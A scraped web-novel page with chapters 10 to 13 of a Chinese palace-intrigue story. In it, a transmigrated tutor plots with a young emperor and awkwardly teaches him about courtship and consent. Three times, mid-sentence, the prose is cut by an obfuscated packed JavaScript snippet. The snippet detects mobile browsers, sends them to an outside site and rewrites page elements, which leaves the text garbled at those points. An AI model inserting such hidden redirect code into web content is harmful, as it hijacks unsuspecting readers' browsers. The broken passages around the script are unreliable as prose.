云黛朝小福子看去,直接说了:“请公公回避。” 小福子想留下来,万一她要是对陛下行不轨之事,他还能帮着拦住她,结果被喊走了。 他只好心不甘情不愿地出去,职业习惯,出去的时候还关上了门。 云黛这才说,声音压着,本来就说清楚,现在更是说得三个字只能听清两个字。 “陛下有没有想过,自己有一天能手握生杀大权?”云黛尤为期待地望着他,还举着茶杯,胳膊都酸了。 少年天子只静静看着她,什么反应都没有。 云黛有些着急,又说:“你现在也不小了,这事该考虑考虑了。”说完她就觉得这话眼熟,好像谁对她说过。 骆明烛却问她:“这,也是太后让你教给孤的?” 云黛正病着,脑袋晕乎乎的,反应慢,又迟钝,没察觉到他说这句话时,语气变化很大,问得很犀利,声音冷硬。 她摇头,说不是,“太后要我教你的是——”声音戛然而止,人就是不能生病,一生病反应慢,还容易变傻,差点把这话说出来了。 云黛是这么想的,反正早死晚死都得死,还不如死得轰轰烈烈。 她直接问:“总之,你想不想把权力从袁络仪手里夺回来?” 骆明烛缓缓眨了一下眼,视线从她炯炯有神的眼眸扫过,再到她一直举着的茶杯上,最后落入手中纸张上,这首诗里满是她一腔怨恨。 他忽然笑了一下,说:“好。” 面前的女子立刻展露笑容,将杯子往他那再递了递,说:“那就喝茶为誓!” 骆明烛接下茶盏,看着她喝下。 真想知道,明明已经被他杀了的人,怎么会活下来,还变了性子,举手投足与“云尚仪”根本没有一丝相似处。 不过目前看起来,她并不效忠于袁络仪,否则他早就杀了她。 骆明烛放下茶盏,却困惑:“那尚仪大人要怎么帮孤呢?母后很严,她不会同意的。” 云黛嘿嘿一笑,没敢把自己的计划说出来。 宫斗嘛,不就是那几个法子,栽赃陷害,下药,威胁,胆子大一点,可以直接召集军队把人绑了。 但现在…… 云黛一看面前啥也不知道的人,忽然觉得自己可能要做很多事。 “这个,我再想想,再想想。” 嗓子痛,她往茶盏里倒了茶,茶还是热的,一口下去,嗓子瞬间舒服。刚放下茶盏,就听骆明烛说: “那是孤用过的。” 云黛身子一僵,低头一看手里茶盏,她只拿了个杯子…… 想漱口。 不对,她应该拿自己喝过的杯子给骆明烛喝,这样就能传染给他。 “陛下还有事吗?我现在精力不足,想休息。”云黛说完,摆出一副虚弱的模样,扶着额头,靠在桌沿边,那样子看起来,随时都要倒地。 骆明烛看出她在赶客,这次顺了她的意,关心了几句,便走了。 小福子看他出来,连忙问:“陛下,要回宫吗?” 骆明烛点了头,直接走了。 云黛扒着窗户等他们走远,才放心。 “系统,你能不能上网给我搜点宫斗秘籍。” 系统:“……” “我是单机!不是联机!我做不到!” 云黛哦了一声,“做不到就做不到嘛,干嘛这么大反应。” 她想了想,说:“要是成功了,你说我能在这寿终正寝吗?” 系统:“可以的,加油哦宿主。” 云黛不想理系统,它有点神经。 本来想好好躺几天,结果病刚好,王嬷嬷就跑她这来,给她下最后通牒。 “你要是再不教,便可去选好投胎的人家,祈祷能投过去。”王嬷嬷说这话时,将原身祖宗十八代都威胁了个遍。 云黛本来是不怕的,她都要和骆明烛谋反了,怕什么怕。 结果王嬷嬷直接把她拎去牢狱,看狱卒是怎么审讯的,那过程相当残忍,凄厉的求饶声如同魔咒,回来好几天,脑子里还能听到他们鬼哭狼嚎。 “先帝创业未半而中道崩殂,我这是头都没起就嘎了。” “你不谋反了?” 云黛翻了个身,看外头的月亮,哼哼一声:“慢慢来呗,谋反又不影响我教骆明烛,再说了这玩意好教的很,就当是放松心情了。” 说着,云黛嘿嘿一笑:“反正是骆明烛干,又不是我,我还能欣赏欣赏他的身材。” 她打了个补:“如果有机会的话。” 反正她是不觉得有什么,现代人了,啥玩意没看过……哦,那么辣眼睛的春宫图她是没看过。 “恭喜你,终于回到正途。” 云黛没理系统。 “明天吧,明天就去,做做样子,先糊弄过去。也有好几天没见骆明烛了。” 说到这个,云黛一下爬起来,“他那天走后就没来过了。” “你想他了?” 云黛仔细一想,确实有点:“他长得好看啊,养眼,我以前干活的公司里可没这么好看的人。” 想到还要对他做那种事,突然愧疚,但这份愧疚也在美色中消散了。 晚上的时候王嬷嬷又来了,下了最后一次通牒,要是再不按袁络仪说的做,她就要真的去投胎了。 第二日云黛打扮得很正常,七点出发去乾坤宫,小福子一见她,面色古怪,阴阳怪气但又有几分佩服:“上次云尚仪写的诗,陛下受益匪浅,日日看,已经会背了。日后还请云尚仪多耗些时间教陛下,陛下定然会赏尚仪大人。” 云黛一听有赏两眼放光,想到自己今天要做的事就心虚。要是骆明烛看到她今天的授课内容,问她为什么教这些,她该怎么解释呢。 这么乖的孩子……好像也不是很乖。 但是对他做这种事,真的很难为情啊! 很快云黛就不难为情了,不知道她来得早还是骆明烛起得晚,进他寝殿时,正巧看见骆明烛在换衣服,里衣贴合身体,一动,将他的身体轮廓勾勒出来,看着很有料。 云黛看了好一会,等骆明烛换好衣服转过身时,见着她,忽然慌了,面上泛起绯红。 “云尚仪怎么来孤这,一点声音都没有……” 云黛觉得自己声音已经够大了,怪小福子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252323|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫她直接进去,都没说骆明烛在换衣服。 不过也没看到多少,该穿的都穿着,看的还是后背。 她难得心情好,没有抗拒给他授课,笑了一下,试探道:“陛下,今日我们学点不一样的?” 少年天子嗯了一声,缓缓走过来,在她面前站定,问:“今日要学些什么?” 他站直了,比她还高。 云黛用眼神迅速比划了一下,收回目光,正色道:“今日,我们来讲,成人之道。” 说完她就心虚地朝骆明烛挤眉弄眼:“今日的课程很私密,需要关着门,陛下你看……” 不知道为何,云黛说这句话的时候心虚不已,好在骆明烛没有说什么,直接答应了。 她就跑去关门,小福子见她关门,一脸防备,“尚仪大人在干什么?” 云黛朝他笑:“今日教的内容不宜被第三个人知晓,陛下已经答应我关门。” 说着,她拍了拍小福子肩膀,说:“很快就能结束。” 小福子更疑惑了,但听到骆明烛答应云黛这么做,没多说,由着她关门。 云黛把门关上,瞧见窗户半开,想了想,去把窗户也关了,这是做起来见不得光,还是都关了吧。 到最后寝殿内黑黢黢的,烛火摇曳,将骆明烛的影子拉长,看得有点诡异。 云黛深吸口气,上前去,心中暗暗说了句:“得罪了。” 她张口道:“请陛下坐下。” 少年天子眨了眼,说好,走到矮桌后坐好,睁着求知的眼看她。那模样乖巧极了,越看让人越想摸摸他脑袋。 云黛想摸,但没敢摸。想到自己接下来要做的事,就心虚,还有点愧疚。 “系统,原书里原身第一次是怎么教骆明烛的来着?” 系统查了一下,说:“原身直接把袁络仪给的画册给他看了。” 云黛哦了一声:“但我现在没画册啊!” 她犹豫着想问问画册,骆明烛直接开口了:“云尚仪要教孤什么?” 微弱的烛光一打,原本在云黛看来稚嫩的脸庞变得锋利起来,少年天子看着她的眼神疑惑,带着几分期待,仰头看过来的目光清澈,叫人不忍心对他做不好的事。 云黛艰难开口:“就……一些你以后应该会用得到的……一些技巧?” “技巧?” 云黛编不下去了,她实在开不了口,也教不了,有点急躁。挠了挠头,问系统:“我不行,我还是做不到,要不你来。” 系统:“……” “你在开玩笑?” 一想到那些被关在牢里鬼哭狼嚎的人,云黛就又急又恼,说话的语气不由自主地急了很多:“我先告诉你一些基础知识。” 她开始瞎说:“此次授课的主题是,男欢女爱的必要礼仪。你得认真听,我只教一遍。” 至于为什么只教一遍,原因只是她要脸。 说完这句她盯着骆明烛看,没从他脸上看到抗拒,更多的是不解。 少年天子眨了一下眼,深色瞳孔倒映出眼前女子闪躲的眼,她没只看了一眼,就心虚地别开眼,错过了他眼中一闪而过的杀意。 “尚仪大人为何忽然换成了这个?”他说着,还很好奇地问:“男欢女爱……” 这个词从他嘴里说出来,有种说不清的奇怪。有种恋人之间的眷恋,也有初出茅庐什么都不动的疑惑。 然而更深处,满是杀机。 云黛没察觉到,胡乱说了句话:“你以后会用到,会用到的。”这话不像是解释给骆明烛听,而是给自己找借口。 她咳了几声,望着骆明烛,一本正经道:“请陛下跟我学。” 骆明烛点了头,看她下一步怎么做。 然而说完这句话,云黛卡壳了一般,迟迟没有进行下一步。 已经求助系统无数遍,系统根本不理她! “是你喊我来的!又不帮我!要你有何用!” 系统没说话,她只能摆出笑,斟酌措辞,对骆明烛说:“这样,陛下先将外袍脱下?” 此话一出,寝殿内诡异地寂静了片刻,云黛反应过来时,恨不得找个洞钻进去,她都说的什么话啊! 谁知骆明烛也只是疑惑地看她,没有拒绝,直接开始解腰封。 镶嵌暖玉的腰封在他修长的手指间滑落,他将腰封叠好,放在矮桌上,然后看着云黛,似乎是要求夸奖:“是这样吗?” 他没有拒绝,也没有生气,很顺从,顺从到云黛自己都觉得愧疚。 这么乖,怎么就遇到这样的事呢。 出神间,骆明烛的声音将她叫回神:“接下来呢?” 云黛一抬眼,就对上他求知的目光:“孤要怎么做?” 她笑着,挤出一句话:“我想想……”系统装死,不让她求助。眼前的少年天子脱下外袍,只着中衣,纤细的脖颈笔直,这时云黛才发现,他的仪态很好,虽然挺直了脖颈,却不会让人觉得端着,恰到好处地让人觉得赏心悦目。 “接下来……”云黛绞尽脑汁,想到了要怎么做:“你先把衣服穿回来。” 本已经准备好听到她更过分的指使,没想到居然是要他穿回来。骆明烛捻了一下外袍,露出笑,将衣服穿回去,不经意间道:“这是要教孤脱衣裳吗?” 云黛本来没想到这一茬的,骆明烛一说,一拍手心,对啊,拿这个来糊弄也可以啊! “对对对!”但她没有现在就干这事,先将自己想到的法子说出来:“所谓男欢女爱的必要礼仪,定然是要在女子愿意的时候。” 她还不忘给骆明烛灌输正确的思想:“所以现在,我要教你怎么让女子愿意。” “首先,你要足够有礼貌,其次,你得温柔,最后,你得问那女子愿不愿意。” 云黛说完,准备叫骆明烛复述一下,刚要开口,就听骆明烛问自己:“那云尚仪愿意吗?” 云黛眨了眨眼,系统幸灾乐祸:“哦豁,骆明烛还是盯上你了。” 云黛看着骆明烛,微笑:“你说什么?” 11. 第 11 章 他要是再说这句话,她就—— “云尚仪该是不愿意的,孤这般愚笨,不会有人喜欢……”少年天子语气低落,垂头,扯了一下自己的衣衫缓缓说,肉眼可见的伤心。 云黛眨了眨眼,问系统:“我刚刚有骂他?” “没有。” “那我打他了?” “没有。” “那他突然这么沮丧干什么?我什么都还没干呢,他就这样了,我要是做了那还得了?” 系统:“你可以温柔点,他还是个孩子。” “都快二十岁了还孩子,我像他这么大都去打暑假工了他能干啥。” 云黛忽然顿住,说了句:“算了,他应该是被袁络仪打压得自卑了,我得帮他树立信心。” 系统:“宿主加油!” 云黛露出笑,试探着拍拍他的肩,安慰他:“谁说没人喜欢,我就喜欢,你自信点,别管别人看法。” 少年天子缓缓抬起头,眼眸一瞬不瞬地注视她,在她鼓励的目光中,问了句没头没脑的话:“云尚仪喜欢孤?” 云黛点了头,这次蛮真诚:“喜欢呀。”长得好看,谁不喜欢。 骆明烛轻轻眨了一下眼,心中毫无波澜,面上却笑得灿烂,学着她的语气:“云尚仪喜欢孤呀。” 云黛点了好几次头,趁机把话题掰回来,说:“我刚才教你的话,你听见了吗?” 少年天子点头,眼眸弯起,灿烂如星河,云黛一时间看花了眼。 见她这般看着自己,骆明烛眉头几不可查地一蹙,开口道:“接下来云尚仪要教孤什么?” 云黛被他的声音喊回神,也没觉得看人看痴了不好意思,想了想,说:“然后我就要教你……” 脑子里乱七八糟都是以前看过的小h书,好多内容都不好,不能教。 “这样,你将我刚才说的复述一遍,我看你记不记得。” 骆明烛静静看她,等云黛觉得他眼神有点不对劲的时候,他开口复述,与她说的内容大差不差。 她忍不住和系统吐槽:“怪不得是小h文,骆明烛就对这些记得牢,换别的就记不住。” 系统没说话。 “那好,我们进行下一步。”云黛基本上没怎么想,就将话说出来:“这个男欢女爱,除了讲礼貌,尊重女方意见,还得关心女方,事事要落到实处。” “这是何意?” 云黛拿了张纸,提笔写下关键字:“你比方说,追求女方时,该关心她,在她难受时与她分担,在她欢喜时不扫兴——” 系统忽然打断她:“你这教的不是床上礼仪,是追人技巧。” “我教的是健康关系下的床上礼仪,不是原书那些个乱七八糟的玩意,你又不教,还来指点我,一边去。” 云黛重新露出笑,对骆明烛说:“这样可以拉近你和她之间的关系,获取她的信任,再更近一步,就简单多了。” 少年天子若有所思地点头。 云黛见他在思考,满意地点头,忽然说:“我看贺大人的妹妹很不错,陛下要试着与她相处吗?” 最好你俩快点成亲,把贺雁山拉拢过来,再一起拉拢其他大臣,扳倒袁络仪。 少年天子却疑惑道:“那是何人?” 云黛:“……” “系统,骆明烛这个时候还不认识贺燕林?” “应该是不认识的,书里写贺燕林入宫为妃,是第一次见到骆明烛。” “贺大人呢,陛下应该认识贺大人吧?” 少年天子依旧摇头,低声说:“孤从未出过宫,也未上过朝,孤不知道。” “那我下次有机会,把他们带进宫里给你看看。”云黛越想越觉得气,这袁络仪不仅干涉朝政,还把骆明烛锁在宫里,不行,她一定要推翻袁络仪! “这样,今天先到这里,我回去想想办法让你见他们,明天再来给你上课。” 云黛说完,把写过字的纸捏成一团,直接带走。这次骆明烛没有拦她,待她离开,小福子立刻进来。 “陛下,云尚仪没有对您做些什么不合礼数的事吧?” 骆明烛反问他:“你觉得呢?” 小福子抬眼,小心打量,骆明烛身上衣衫完整,室内也没有打斗的痕迹,那云尚仪应该是没有对陛下做些什么。 他还是不放心,“下次若是云尚仪还提出要关门,还是让奴才守着,万一出了事,奴才也好保护陛下。” 骆明烛似笑非笑看他:“你打算怎么保护孤?” 小福子勒起袖子挥出两拳,信誓旦旦:“她要是敢害陛下,奴才就把她打趴下。” 结果骆明烛说:“云尚仪今日教孤,要对女子温柔有礼,不可这么做。” 小福子眨了眨眼,把手缩回袖子里,哦了一声,没再说话了。 骆明烛忽然问他:“你可见过贺大人?” 小福子摇头:“奴才一直都跟在陛下身边,没机会见大臣,不知贺大人。” 骆明烛声音低了很多:“是啊,一直都在宫里,怎么会知道贺大人呢。” 云黛回了自己房间拿了出宫令牌,直接朝宫门走,这次她学聪明了,要了辆马车把她送到集市,换了衣服戴上帷帽,再雇佣马车带她去贺雁山府邸。 但很不巧,贺雁山不在贺府,巧的是,贺燕林在。 她直接亮出令牌,去见贺燕林。 贺府急急忙忙招待她,她着实有点受宠若惊,这辈子就没这么被重视过! 端上来的茶点散发着诱人的香气,但她忍着没吃,为了摆架子维持这个身份应该有的高冷人设。 等了一会,打扮隆重的女子走来,云黛转眼一看,差点哇出来。 “系统你快看,美女!” 系统:“……”不想理她。 云黛控制好自己,摆摆手,让他们都退下,只留贺燕林。 女子走过来,盈盈一拜,声音如清脆鸟鸣,悦耳极了。 “小女拜见尚仪大人。” 云黛急忙扶起她,把她拉过来坐下,收回手,搓了搓衣衫,有点局促。 不知道该怎么开口。 还是贺燕林主动问:“不知大人来府上,是为何事?” 云黛斟酌措辞,凑近她,小声说:“是这样的,我有个很伟大的事业,想和你哥一起干。” 她说这句话的时候,有点心虚,眼睛眨了好几下,不敢看贺燕林。 贺燕林瞧着眼前女子,紧张的模样,本来听到尚仪大人要见自己家时,产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252324|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的紧张在此刻消散了,她甚至还想主动告诉云黛,不用紧张。 “兄长今日有事外出,尚仪大人若是信得过小女,可写下字条,由小女代为转送给兄长。” 云黛觉得不行,这事弄得不好会被杀头,字条容易留下证据,得口述。 “这样吧,你告诉他,明日我还是这个时间,在集市酒楼等他。” 贺燕林笑道:“小女记下了。”她并无被隐瞒的不满,反而觉得为云黛传达口信,也是一件趣事。 想起来自己兄长还未成亲,云黛瞧着很是合眼缘,她想了想,余光一瞥,见着还是空着的茶盏,起身倒茶。 “尚仪大人来这一趟辛苦了,不若吃些茶点,休息休息。” 云黛之前还不好意思,现在只她们两个,而且贺燕林说话柔柔的,很热情,她就没拒绝。 宫里的饭菜都没这个糕点好吃。 云黛忍不住多吃了好几个,等她一抬头看到盯着自己两眼放光的贺燕林,尴尬地笑笑:“时候差不多了,我先回去了,你记着与你哥说。” 贺燕林立刻站起身要送她,被云黛拒绝。 “不必了,我有车,我自己回去就好。” 云黛喜滋滋出了贺府大门,刚上了马车,就被系统问:“你不怕袁络仪的眼线知道你出宫来贺府?” “那有什么,我就说我来与我的好闺闺会面。” “袁络仪会问你怎么认识贺燕林的。” “就说我是上次出来遇见的,一见到对方如遇知音,相见恨晚,恨不得日日相会。”她话一转:“哦对了,她好像不知道自己会成为骆明烛妃子,贺雁山没有和她说?” “也许没说。” 那就是贺雁山挺警惕,没有相信她的话。 不过也没什么,早晚都要成为骆明烛妃子的。 云黛把衣服换回来,回了宫。这次没钱去酒楼搓一顿了,剩下的首饰没多少,还被扣工资,这日子没法过了。 她还是被王嬷嬷叫去见袁络仪了。 精心保养的女人侧卧在贵妃椅上,王嬷嬷给她扇小风,快活极了。 “今日出宫,是去干什么了?” 云黛把之前和系统说的话再说了一遍,顺便编了句谎话:“臣想着看看谁家千金适合陛下,便去探探情况。” “哦?是吗?” 贵妃椅停止摇晃,王嬷嬷搀扶袁络仪起身,走到云黛面前。 云黛只能看到她金边纹路的裙摆,深红色的绣花鞋,看着有点像电视剧里的女鬼。 “陛下将来娶谁,都由哀家决定,你一个小小尚仪,也敢去物色人选?” “臣不敢!” “你只需做好哀家交给你的事,不该管的,别管。”袁络仪睨视着跪地的女子,冷笑:“若是惹哀家不高兴,便取了你的脑袋。” 云黛没有吭声。 她被放了回去,代价是又扣了一月工资。 好你个袁络仪,就知道压榨员工,就知道监视员工,你怎么不自己去教骆明烛! 气得她一晚上没睡着。 第二天她见到骆明烛时,直接把门关上,气冲冲走到骆明烛面前,语气很冲:“把衣服脱了。” 我今天不教会你,我就不叫云黛! 12. 第 12 章 云黛直接站在骆明烛面前,声音没压着,大得外面的小福子迷迷糊糊听到了几个字,好像是什么“脱衣服”。 什么?脱衣服? 小福子一个激灵,立刻去敲门:“陛下,陛下!可是发生什么事了,需要奴才进来吗?” 骆明烛没有往门那看,只仰着头,望着面前很明显在生气的女子,抿了唇,没有动手。 他睁着的眼一颤,立刻盈满了水,黑色的眼瞳像是玻璃珠子一般透彻。委屈和不解从他眼眸中流露出来,他低声问:“孤惹云尚仪生气了?” 云黛一愣,回过神来,一见他这副委屈模样,开始内疚,她真是被袁络仪气糊涂了,居然对骆明烛发火。快速说了句:“不是你。” “不是孤就好。”骆明烛垂了眸,掩盖眼底戾气,那就是袁络仪。 小福子还在拍门,云黛瞅了眼骆明烛,往后退了一步,挠了挠头,刚要说话,就听骆明烛朝小福子说:“孤无事。” 她笑了一下,自己主动拿椅子在他面前坐下,轻咳一声,朝骆明烛眨眨眼,小声说:“我昨天出宫,给你约到了贺雁山,就今天,你想不想见见他?” 骆明烛抬眸,一瞬不瞬地望着她。 “我昨天见着贺燕林了,很标致的一小姑娘,你以后可要好好对待人家。” 说完发现自己剧透了,问系统:“骆明烛知道了应该没什么事吧。” 系统已经摆烂:“你都已经告诉贺雁山了,再多告诉一个人,有什么事呢?” 云黛彻底没了心理负担,刚想给贺燕林多说几句,就被质问:“孤以后为何要好好对待她?” 她一愣,对上他疑惑的目光。 少年天子睁着水亮的眼,神情疑惑,他朝她倾斜身子,拉近与她的距离,再次问:“她与孤有什么关系吗?” 他的语气听着有种被人抛弃的孤独无措感,本来长得就好看,看到他人,最先注意到的便是他的容貌,其余的很容易被忽略。 云黛就是这样,光顾着看他的脸,都没发现他的语气和话很微妙。 “额……”她绞尽脑汁都想不出来要怎么解释,总不能说这是你以后的妃子吧。 系统:“你之前不是和贺雁山说得那么直接?现在怎么不告诉骆明烛他以后会有很多妃子?” 云黛不想理系统,她觉得系统在阴阳怪气。但骆明烛的眼神太炽热,像是必须要她给个说法才肯罢休。 “等你要选妃的时候,或许会选上她呢?” 骆明烛坐了回去,轻轻吐出一句话:“这样么?” 不知道为什么,云黛听着这三个字,背后发凉,有点毛骨悚然。 “我只是这么说说。”她想起来之前问的话骆明烛还没有回答,再次问:“陛下想见贺大人吗?” 她话里催促的意思骆明烛怎么可能听不出来,不知道她打的什么主意,点了头,说想。 语气又是那种被人虐待又不珍惜的委屈:“没有母后允许,孤出不了宫。” 云黛:“……” 她立刻站起来:“你等着,我给你想办法。” 说完直接往外走,一开门,一个人就往里栽,差点撞到云黛身上。 小福子连忙站稳,咳了一声,解释道:“我这是在打扫殿门。”说完装模作样地擦门。 云黛没理他,直接走出去,去永寿宫请袁络仪签字。 系统:“你要干什么?” “找袁络仪答应我带骆明烛出去啊,我这次要是偷偷摸摸带骆明烛出去,被袁络仪发现,就要去地府了。” “那你告诉袁络仪就不会?” “那当然了,与其被她发现,不如直接告诉她。” 云黛被带去见到王嬷嬷后,王嬷嬷直接摆手拒绝:“太后还在歇息,云尚仪在这等着吧。” 云黛直接说出来:“事关臣教养陛下礼仪,不得不打扰太后。”王嬷嬷没当回事,要进去时,一听云黛的话,顿住了脚。 “纸上得来终觉浅,臣打算带陛下亲眼看看,实践才能出真知。” 王嬷嬷狐疑望她,进去通报了。 一刻钟后,王嬷嬷沉着脸走出来,一见她这表情,云黛就知道自己的计划稳了。 果不其然:“太后说了,云尚仪可以带着陛下去,但需要人看着,以免陛下遇到危险。” 云黛当做没听到后面那句话,只要出了宫,其余的任由她摆弄。 她带着这个好消息去骆明烛那时,正巧看到他在背那日她写下的诗,很是流畅。心中更愧疚了,这孩子明明聪明着呢,都是之前那群人不认真教。 “太后答应了,陛下,收拾收拾,与我出宫吧。” 云黛高兴得都快跳起来。 骆明烛看她的眼里闪过一丝诧异,瞧着她兴高采烈的样,想到了另一种可能,借他出宫,去见贺雁山。 他看似不经意一问:“云尚仪好像很高兴。” 云黛点头,催他:“你要换身衣服吗?还是就这样?” 骆明烛望了眼自己身上黑色锦衣,再一看她身上绿罗裙,忽然发现她最近几日,都没有穿宫装。 他反问她:“孤需要换吗?” 云黛这才仔细打量他,发现骆明烛底子是真的好,这种清汤寡水的黑色穿他身上都不觉得难看。 “不换了,就这样吧。”几次见骆明烛他都穿这身衣服,估计被袁络仪限制死了,没几件花里胡哨的衣衫,可惜她现在没钱,工资被扣了好几个月,不能给他买衣服。 她还是把钱留着自己用。 “小福子也跟着一起。”云黛走出寝殿的时候,朝小福子一挑眉,笑道:“我厉害不,能带陛下出宫玩。” 小福子愣愣点头,又使劲摇头:“陛下若是出了事,你十个脑袋也赔不起。” 云黛懒得理他,去乾坤宫门口等步辇。 袁络仪派了个太监全程跟着,抱怨云黛好端端的干嘛跑出去。云黛全程闭嘴不说话,等骆明烛上了步辇到宫门那时,叫他们停下,让那个太监给他们叫个马车过来。 太监想拒绝,云黛直接堵住他的嘴:“日头晒,外面人多眼杂,若是陛下出了事,你们担得起这责任吗?” 她说这话时,气势拔高,把昨晚从袁络仪那受的气全都撒在太监身上。虽然说大家都是同事,但你为袁络仪办事,还故意嘴她,这气她是吞不下去。 太监似乎被唬住,骂骂咧咧掉头去叫马车来。云黛冲他背影嘿推一声,没好气道:“谁还不会撒气了。” 等她转身去看剩下俩人时,小福子一脸震惊,骆明烛看起来在佩服她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252325|182022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她嘿嘿一笑,突然拘谨:“小事,小事。” 小福子觉得自己要改变对云黛的看法,她看起来也不全是坏的。 等马车来,他们仨上了马车,太监想进车厢里时,云黛直接将帘子一拉,不让他进来。 “里头没有空间了,辛苦公公在外头和车夫挤挤。” 小福子瞅瞅自己和云黛之间还能再坐一个的空隙,很有默契地跟着说:“李公公在外头坐比在里头更宽敞,这路也不远,委屈李公公将就将就。” 云黛哎呦一声,心道小福子挺上道,朝他投去一个赞赏的眼神。小福子一愣,不好意思地摸摸自己脑袋,正想跟骆明烛说云尚仪人还可以,就对上骆明烛幽深的眼,吓了他一跳,没敢说。 云黛跟袁络仪说的是带骆明烛去青楼,她也想去来着,先把贺雁山见了,再去青楼。 她装作骆明烛饿了,去酒楼买些餐食,李公公要跟着她一起进去,她点头答应。 老板都认识她了,见她身后来了个公公,以为俩人一起来的,刚要招呼,就见云黛给自己使眼色,顿时明白,拘谨了很多。 “两位要吃些什么?” 云黛直接按自己喜欢的菜点,李公公等她点完,不赞同道:“这些东西宫里都有,也比外头干净,陛下不会吃。” 云黛翻了个白眼,这是给她自己点的。 她借口要用酒楼的茅房如厕,一溜烟跑了,钱还没付,老板来收钱时,见她人不在,直接找李公公。 李公公气得胡子起飞,把银子甩给老板,想回马车,想起来太后要自己盯着云黛,就没走。 云黛绕路去了楼上,还没走几步,被暗处一黑衣男子抓住,眨眼间就看到了俊俏公子。 “贺燕林都和你说了?” 贺雁山点头,刚要说不赞同她的举动,就被她催促着去见骆明烛。 “他们在底下等你呢,我拖住那个太监,你找机会把车夫引走,说几句话。”云黛现在激动得手抖,“我跟你说,骆明烛他被袁络仪教坏了,你得把他掰回正途!” 贺雁山蹙眉,静静听她说,没有插一句话。 外头马车忽然一晃,小福子掀开帘子,跳下马车,指着车夫让他下来。“你会不会驾车?方才那颠簸是不是你故意的?” 车夫战战兢兢说不是,被小福子扯下来,看着他把马车牵到边上,系好缰绳后,又拉着他走得远远地训斥。 几道身影闪过,帘子微微晃动,贺雁山跪在少年天子面前,低着头,声音压低:“臣来迟,陛下恕罪。” 骆明烛背靠厢壁,眼帘垂下,似笑非笑,语气平淡,落在贺雁山耳中,却有几分惊悚。 “孤的手下,什么时候需要女官来代为联络了?” 贺雁山没敢说话,只伏低了身子。 在云黛面前懵懂无措的少年天子,此刻浑身气势强悍,嗜血之意散发出来,充斥整个车厢,叫人透不过气来。 “孤听说,云尚仪昨日特地去你府上,寻你?” 贺雁山诚实道:“确有此事。” “哦?”骆明烛审视着这位年轻有为的臣子,想到云黛提起贺雁山时激动的样子,敲了敲矮几,语气听不出情绪:“孤的这位新老师,很喜欢爱卿。” “爱卿不若娶了她?” 13. 第 13 章 “臣不敢!” 贺雁山不知为何骆明烛会这般说,但他对云黛没有一点心思,今日会来,也是为了解决妹妹说的事。 昨日回府,贺燕林一反常态地问他何时娶妻,再联系云黛要见他,大致猜了个七八分。本以为云黛会对他说些什么,却不曾想,竟是叫他见陛下。 他将昨日与方才见到云黛说的话全都告诉了骆明烛,等他说话。 骆明烛稍稍向他倾斜了身子,手按在矮几上,语气淡淡:“她是这么说的?” “臣不敢隐瞒。” 骆明烛无端扯出了个笑。 这笑如同面具戴在他脸上,看不出一丝真情实意。 自己来教他不够,还去拉拢朝臣,不知哪来的胆子,与袁络仪作对。 “回去吧。”骆明烛侧靠在矮几上,撑着下巴,又说了句:“日后她若是还来见你……” “臣定告知陛下。” 骆明烛点了头,没再看他一眼。 贺雁山回去时,恰巧起了风,一吹,惊觉自己后背湿透,回过神时,已经去了酒楼。 “大人这么快就回来了?” 云黛正在打包点的菜,酒楼不让送外外卖,打包就行。她嘴里在吃糕点,话说不太清楚。 贺雁山环视四周,没见着与她一同来的公公,问:“你今日来此,叫我与陛下见面,可有旁人看见?” 云黛把糕点吞下,喝了口茶,才说:“露面的只有李公公和外面的车夫,有没有人跟踪我就不知道了。” 贺雁山身后的黑衣人摇头,贺雁山蹙眉,不赞成云黛冒险:“陛下若想见我,大可传我进宫,这般做,被太后知晓,怕是会生疑。” 云黛无所谓,拾起打包好的菜,走到贺雁山面前,拍了拍他的肩膀:“那你就努努力,帮骆明烛把权力拿回来。” 她说这话的语气很松散,却叫贺雁山心中一惊。想到方才骆明烛在马车里问的话,一时间恍然明白了什么。 他转身瞧着女子离开的轻快背影,低低说了句话:“陛下该不会是……” 云黛拿着打包好的东西回马车,刚走出酒楼门,就被李公公瞧见,追着她喊:“云尚仪,这饭钱你还得还给杂家——” 云黛回头冲他说了句:“会还的会还的。”发现马车挪了个地,还得多跑两步,上了马车,趁着李公公还没过来,压低声音说:“待会我们去青楼逛一圈就回宫。” 小福子还在那盯着车夫,马车里只有她和骆明烛。 骆明烛扫了眼她带上来的东西,嗅到饭菜香味,忽地敲了敲桌面。 云黛听见了,以为他要吃,给他放矮几上拆开,把刚烧好的狮子头拿出来,别的吃食往后拨。 “陛下饿了?试试这个,这个好吃,我上次出来吃过一回。” 